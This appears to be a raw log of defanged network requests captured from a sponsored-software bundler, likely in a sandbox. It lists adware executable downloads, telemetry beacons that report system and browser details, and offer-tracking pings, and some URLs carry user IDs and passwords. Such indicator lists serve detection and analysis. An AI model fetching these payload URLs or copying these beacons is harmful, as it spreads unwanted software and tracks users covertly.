hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=b1dRW7RxYKfwl4DCqEaRhHIaPPU UwhFeq10/GADmDD6npfW4udM4feRi8wRbTsZkmnCkuUBP1fxIejITcLjyr2ze w9VTbJkaFFeKIEAzfrwAXzhrPkfUh1q4kMrPXgRTb9MeeADHVsSZRGMCOCNdOhGBXTGs9fCekcAtFi2gOaymkaLANLBL 8 zI08ozYjtw1zidYuirfvHNFJUDQd3AUyPKYVvSCRmPZxKfOYCTS9O34o2J6OgY6QMiiq/0Y97mvY1Q2Q2V4RdSdIq15Ew ec8PQL V9BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwxtn8l6bzztEt5NPC8YV 0onv4z5YJIIZmVbMmglLS sGbEMUI/WfG0f0wK412VyCjXsGCsDjRXr0a1dphgQ6N1XdMYGlAdJaU6wyanXwNZ2W/hePtCOfZ 54.197.238.106
hxxp://errors.localkeymappeer.com/installer-error.gif?action=sesamy&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=40799C6222B1449CBD91767DC3DCC57BPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430092564&procruntime=3&rnd=1430092567 54.231.0.28
hxxp://z5se5q688-su78sj1t.netdna-ssl.com/ShopperProJSINJFull.exe 198.232.124.192
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=300&n=deploy_start_funnel_step_name&rnd=1430092571 54.231.0.28
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=100&n=init_start_funnel_step_name&rnd=1430092564 54.231.0.28
hxxp://clients1.google.com/ocsp 216.58.209.174
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=s5Ydxb c7o3vtemz1TdLVnIaPPU UwhFeq10/GADmDD6npfW4udM4fqFPNHe3DAVndSFVUHxaEBEKo5xU2IcROgga322f3p0dzM566Tg0cBmVbMmglLS sGbEMUI/WfG0f0wK412VyCjXsGCsDjRXr0a1dphgQ6N1XdMYGlAdJYiLkQjh57Fv8zaQsrQSHoY6EDIxFK15gt/Lad3Y6gE1ZlxWTdtZreIwlv5Qh OtHGaiLQITrgk83RjFlcoTOjAYXfE1EisPQ6Xd50l6ekWM2MvbjyrmU6rXIjcveydSUr3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22Ocfvb9IYuqI5f6VK1qPKGu2ILNQEGb1kr4uB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqYRtea4xv9nd 54.197.238.106
hxxp://de3dw6d-457zol7j.netdna-ssl.com/yta33_full.exe 198.232.124.192
hxxp://install.theswiftrecord.com/if?alpha=RxYQX2slVB1XPQhvP3VkRlJDUmtHShx3ZnIlBE4uFUpaGC5SZ3NuXBMQHDtvSF9XXgEeJisfUA8dQwN8R11sWwMrEkxCZBNKBFsoYlVrcDhqSUtONhRCU2A8PHsVGwU3T0pOc2dsZFsYQVcLLydpAWELCkIUf1ggUxlEcgszSnoKTiR3ChYxSjNYA3pATzptCkJTUl1vR04DLm8nPh8fd0BCUklqDGgWNwRMUQxbOw1UQFxlBT9zBHwTUB1cPxdVOApLW1YNJWAXShhaIDIUZjF3BAwTDDZHRBB8F24rH3gUVxgPDSdSPx1OXBsAUx55BxATDgoVOTpLdhhWFEFwPxo/HUJqSwQHfXETWA5hfFV2NnllSElYYhJQHHw1YCQCY2dRARkLLUs1TjkPVVISWCQcBhULBwQ1PBtwCEVRQywRGHxVDSgKUlUyVRZXBGk2YzhmNVxJTh4vNE0cZz5laHFZJgUSD1B4TCwdLRMbVkxUcw1RUwceR3x/XStNTRAOfUJJaV8XLBJYQWwcSgdQOT8AJm49CHxHUnQEBRF8Nm91ZmMYPzZaHTFPOR1ddioqfU9uXw1zd1AWIitBOT1tBlI/F1MKBl9tUQMffXVaZSldQgYSaCpeGmJbcQhAEBssNGJjZwo=
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/install.ashx?e=Feo0TQZfu6J5YvL6lzggSbHriSz4AbfaC01ucLXQ1VGqT87ZizpXK0HDmr9X7yCJxU6CcRl6aJOzKeWuSSi2PLiKIFo3W8f2dhK78JwZANhLABaclESgbf20oOr7zOHjllNfMLKuptyR2G31gFuf02hbuYqdnYR4elHMzi3I9ndbsUN4BYD1D8brniShQ3GQtRzip5AcKg4rWxcpBkHhSQ3kCpSb73om1nmEvUc rydewhrFWYF5Tv0qJ78sIh84amSSgMHjLmQAkaiKC91AannFaQMUFf3agVhnL6oJP/krWxcpBkHhSQ3kCpSb73om1nmEvUc ryfLtaw9zNAybItGWMfwQWPTSZrRYQUgrCCNPc8M0MF2aSGap/Piob7 3hNKfF7td/MHaFSDALbQEatJSUihoFKHreIpBjm0xixL/go ONuEXURH0CKlmst94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjn8XYr3vj6K/6Z9eIrA9uVBqKCOmj9aXRfM1N26ynjad0t8mBLx4RCPtTfdjoDFbC9hDd 578F w== 198.232.124.192
hxxp://online.GOOBZO.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=800&n=deploy_nova_start_funnel_step_name&rnd=1430092573 54.231.0.28
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=da016b75-2f76-45d2-9c78-4fb8bb7b9126&Password=6eoZ2woz&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1430092557&SBPIDS=1&KA=1
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=200&n=init_end_funnel_step_name&rnd=1430092567 54.231.0.28
hxxp://logs.localkeymappeer.com/monetization.gif?event=4&ibic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430092564&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430092564 69.16.175.42
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/t.ashx?e=gwZ4/u7hMkJxTgq6wZuT6yMSZph5W2w5jA5kVqVgWdAgLxC0aXqYrYyox39H7ctIMcuYh9yJM1s99dnskKlULVi2s6XsF8NY17e6nA3xYScE8SFHLIEPsM3UKcKGG9ndxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJc/JW5G9GpuGA== 198.232.124.192
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=200&n=init_end_funnel_step_name&rnd=1430092568 54.231.0.28
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=800&n=deploy_nova_start_funnel_step_name&rnd=1430092569 54.231.0.28
hxxp://dl.ourinputinfonet.com/spd/shopp/sense9.exe 69.16.175.42
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=da016b75-2f76-45d2-9c78-4fb8bb7b9126&Password=6eoZ2woz&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1430092613&SBPIDS=0
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=Ka qOJkckoXJDC3MBqZhBm8kgAhJB43p1d9yUrIHy MD/fqz7XUSNP/TL4QSzfDiBG/sM70J21zXoGRO e/ZLjyw2RjHvlHkVfaCu72ZveVURlu/eh1Ht2udLt18ooKVURHB pb86UuTTp44ZdvVTImsBxAWxYxw4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX7O/8Xidal/LUuqoJxQoH7VqLfb1ihP hKmALAQnku9RgGUqUYly4OA= 54.197.238.106
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1430092568 54.231.0.28
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1430092576 54.231.0.28
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=aL/yzOcQGPmBXOBJ2d DUW7rrItCiBUN 0R MP RL3VKgFoRkIu6RpNh8S9i4d0H4aw6mg0j 6g 8IXJ3hY2bZzI6WjgFlNrd6j7/wRBDsRoqvWX6JwkevDehHIxlAXyb98NyY 3Jv/oKdNf4wHzMP/l0k1T1nn7b588fAguahpqadCmmmNJTNNeVrTC3wKjbySACEkHjen4nfgxruy9iJmM72Wj5zQdl8o3lw7CTCarMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEeNK5GwXtY6vunew/6f/ygSt pOfahmLVOFYQdPhXtrzaAsY7JMnPrl5ziyfh9EnegKQwdxoo6P6uZP /RqMPfI= 54.197.238.106
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1430092573 54.231.0.28
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=500&n=deploy_notification_start_funnel_step_name&rnd=1430092569 54.231.0.28
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=33648ded-6a64-4e2a-b602-af2ae10fa726&Password=hwpZuese&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1430092558&SBPIDS=1&KA=1 23.21.193.24
hxxp://logs.localkeymappeer.com/monetization.gif?event=4&ibic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430092564&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430092564 69.16.175.42
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1430092571 54.231.0.28
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/t.ashx?e=NEjPoAxksx2BXOBJ2d DUUZcsUmwT5WOQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMawgCKRqkxlIbWqD2Y/eB8k13hWqFICGTYI5VW8cJNvkmOBvq/txek 2HvVBBJHZ5G2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk= 198.232.124.192
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=10000&n=deploy_end_funnel_step_name&rnd=1430092577 54.231.0.28
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=istartsurf&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=1&index_in_screen=1&index_in_session=1&display_height=50&0.05716546046916754 78.138.127.15
hxxp://stats.localkeymappeer.com/installer.gif?action=started&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=40799C6222B1449CBD91767DC3DCC57BPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_37&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&mdat=&procstarttime=1430092564&procruntime=2&rnd=1430092566 54.231.0.132
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1430092577 54.231.0.28
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/install.ashx?e=nTtqeiyyDwlxTgq6wZuT615oj16EfKcbX/iFdqiZ5XW2ZMgjutBt7OQRE0cF7lrf/k6YQPAn cmeLw31Ygf6oZlbztiqtoL/TokU9chNtxaHMa5E8LXYXeSSX0RX/cuaxs6kPf8Jv8mIVAh2HYa3eDYsLuvXNJnBJOIAnSEbDsy5 wx ILhhS1qgTPL7jymlmOBGPzlFJYmLARt95W016n0AYcuk8312SbnEs2NDT o3j7LEG73hkIFvDg0RyWjmAl4beC2APifphlefiNpeB2PLagMtARkbUlv8o93jVmL5Zc9Mi17eWei6Rh5eUyZ28M41bRePKQHaPVcyKjsd0 e10esTitJUqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGNth7nHDOhUgg02ozMP1ZS 198.232.124.192
hxxp://install-cdn.theswiftrecord.com/sd?is=sm 87.245.221.113
hxxp://bi.bisrv.com/pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=swiftrecord&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=3&index_in_screen=1&index_in_session=3&0.481657073837046 78.138.127.15
hxxp://download.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar 87.245.221.112
hxxp://logs.localkeymappeer.com/monetization.gif?event=3&ibic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430092564&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430092564 69.16.175.42
hxxp://bi.bisrv.com/pinger?event_type=install_complete&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=istartsurf&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=1&index_in_screen=1&index_in_session=1&0.5453487080878292 78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=istartsurf&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=1&index_in_screen=1&index_in_session=1&0.2330230267600375 78.138.127.15
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=900&n=deploy_ff_start_funnel_step_name&rnd=1430092569 54.231.0.28
hxxp://bi.bisrv.com/premium_downloader/premium_downloader/c68f2d2eb068de4eb4b99d4758c25a2f?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4 78.138.127.15
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=700&n=deploy_ch_start_funnel_step_name&rnd=1430092569 54.231.0.28
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1430092576 54.231.0.28
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1430092576 54.231.0.28
hxxp://stats.localkeymappeer.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70299&appver=&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=40799C6222B1449CBD91767DC3DCC57BPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_37&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430092564&procruntime=15&rnd=1430092579 54.231.0.132
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=100&n=init_start_funnel_step_name&rnd=1430092564 54.231.0.28
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=hWfaA75NtHELjT49fHfOTLUGBU7VCmeQt8f6YpiR28IQ9XpMu3JNONKN/VUSdNXb6lcFzkAHUgF82tgewNDgDwLMEicbqKjXqIs V7Ds6CRuZZIi5/tojmg8l4itKbh/HiBn688lkcr8toCm18jzwzsvB25MJtnS1urDxSq54gttr9SYvZpGaeXM3AOyMolLqjK1nJ wpbriQmIIkKyX6s0FiFjdakeNCE8o34YWHkZnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYJHseVKQaMUz7BRPf4VdiaS/pgYcHdP8mUh1q4kMrPXgRTb9MeeADHVsSZRGMCOCNdOhGBXTGs9fPUenYv NE2dSnkSnlVgA Q== 54.197.238.106
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=10000&n=deploy_end_funnel_step_name&rnd=1430092573 54.231.0.28
hxxp://stats.localkeymappeer.com/apps.gif?action=install&app=70121&appver=&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=0E91D55389BA4CD39C087C48E624576FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF6dHNtdHljMCxhYTE2YmFlMi05ZjQyLTQxMDAtYmI0ZC01OWRmZmNiNTFhYjEsIiwidW5xIjoiYWExNmJhZTItOWY0Mi00MTAwLWJiNGQtNTlkZmZjYjUxYWIxIn19&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1430092564&lifetime=0&silent=1&crtnm=na&procstarttime=1430092564&procruntime=11&rnd=1430092575 54.231.0.132
hxxp://dl.ourinputinfonet.com/spd/shopp/iweb.exe 69.16.175.42
hxxp://garr.dl.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe 193.206.140.34
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=/k6kR j50toLjT49fHfOTGUOC3WoRbTzt8f6YpiR28K/M iZRiJnRnHdTB6jkze/avGlMWAqZVERupYRBKBpbvWfvIMJ7sCSujghDckn/xgt lphzBReO6bK2Q7GGGnWJ281Et5v 1ivpBvzhFxOqDKzz2j1DKRExuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj2ANygAkC0Bha6lfIH DnKMZiwRfiQgeW Lmf6eHphUt9 inPTLZDtg= 54.197.238.106
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1430092571 54.231.0.28
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=yhrBLBbZM9ULjT49fHfOTGUOC3WoRbTzt8f6YpiR28K/M iZRiJnRnHdTB6jkze/avGlMWAqZVERupYRBKBpbvWfvIMJ7sCSnw T2O19KvsYrNjjnOLU6dbIHx4MCRqKTI2j9NvqTQ5Y7SjSVyBTbGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUOQP4MZSa9q/4cl5ntaW2AN4n8imeHyCfG1Rhv12pffYo4SiD403Los 54.197.238.106
hxxp://stats.localkeymappeer.com/installer.gif?action=started&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=0E91D55389BA4CD39C087C48E624576FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF6dHNtdHljMCxhYTE2YmFlMi05ZjQyLTQxMDAtYmI0ZC01OWRmZmNiNTFhYjEsIiwidW5xIjoiYWExNmJhZTItOWY0Mi00MTAwLWJiNGQtNTlkZmZjYjUxYWIxIn19&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_32&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&mdat=&procstarttime=1430092564&procruntime=2&rnd=1430092566 54.231.0.132
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=2&index_in_screen=1&index_in_session=2&display_height=80&0.47923943233087895 78.138.127.15
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1430092571 54.231.0.28
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=aL/yzOcQGPmBXOBJ2d DUZi6LwwK4U80vYHWe71VaIq/YV5 X6RdAFnDIVPriw0VvWzbeOk/KHlI6y12Qfr0J2AqR2XPWVGhniAZCxO/ Mj2NRySioDRRm56dV2mSeSpEjboCsMsaXRnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDkD DGUmvav HJeZ7WltgDeJ/Ipnh8gnxx/48vBuBRiWOEog NNy6LA== 54.197.238.106
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=aL/yzOcQGPmBXOBJ2d DUW7rrItCiBUN 0R MP RL3VKgFoRkIu6RpNh8S9i4d0HLmgGg4BdURK4WtRdLJPS8kb2k6Rn898YXCSgtUXqN5/aaUzToxOfiz0mbos5SmUuL1RonSUM0G8HF9ed47qLJdLkq GrncHeyXBDP8Ld0 yRF51HAH62EMJ0BsT2odybpFQ9C74W1fSG7NLJhlXAptjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Bjt6DgsNnxOwUbmkSx2157mT/v0ajD3y 54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=/k6kR j50toLjT49fHfOTGUOC3WoRbTzt8f6YpiR28K/M iZRiJnRnHdTB6jkze/avGlMWAqZVERupYRBKBpbvWfvIMJ7sCSujghDckn/xgt lphzBReO6bK2Q7GGGnWJ281Et5v 1gpJLLN2z FnwCiBUKcGrTX6nvOi2lZHZeM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXaBQc7HR56MWNJxXQawroNmbktPzt6FdqlmEIUPwTJ2qmrvcVl0Mf/w== 54.197.238.106
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=700&n=deploy_ch_start_funnel_step_name&rnd=1430092573 54.231.0.28
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=swiftrecord&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=3&index_in_screen=1&index_in_session=3&0.5615464993509336 78.138.127.15
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1430092572 54.231.0.28
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=swiftrecord&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=3&index_in_screen=1&index_in_session=3&display_height=170&0.5555938456927323 78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=2&index_in_screen=1&index_in_session=2&0.5002119269017993 78.138.127.15
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=hWfaA75NtHELjT49fHfOTLUGBU7VCmeQt8f6YpiR28IQ9XpMu3JNONKN/VUSdNXb1RKCtJSqXJDHpCaj36dsiVcugFublYli4VTmYx8DZjC0lOvcR7gfC5Ogq/ZWkhdl60W2ZwZ8tLob94hM9WTZwLfS6pcjs1s3WGoyREbxM8eZ3YOu8U7Qr0yM76mYEXUjIYcggkJzwO295MROQWA/L8FbMnlffEMkBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzEGEjQJyNURYqMy0/V3kNGuCgKEn5qKQgUJj3rTpnQ9stLKTtE4wWOaB2EzLALFffS2I5mdr23B91VxU5oATOVFHdk/gnZ pY= 54.197.238.106
hxxp://errors.localkeymappeer.com/installer-error.gif?action=sesamy&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=0E91D55389BA4CD39C087C48E624576FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF6dHNtdHljMCxhYTE2YmFlMi05ZjQyLTQxMDAtYmI0ZC01OWRmZmNiNTFhYjEsIiwidW5xIjoiYWExNmJhZTItOWY0Mi00MTAwLWJiNGQtNTlkZmZjYjUxYWIxIn19&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430092564&procruntime=3&rnd=1430092567 54.231.0.28
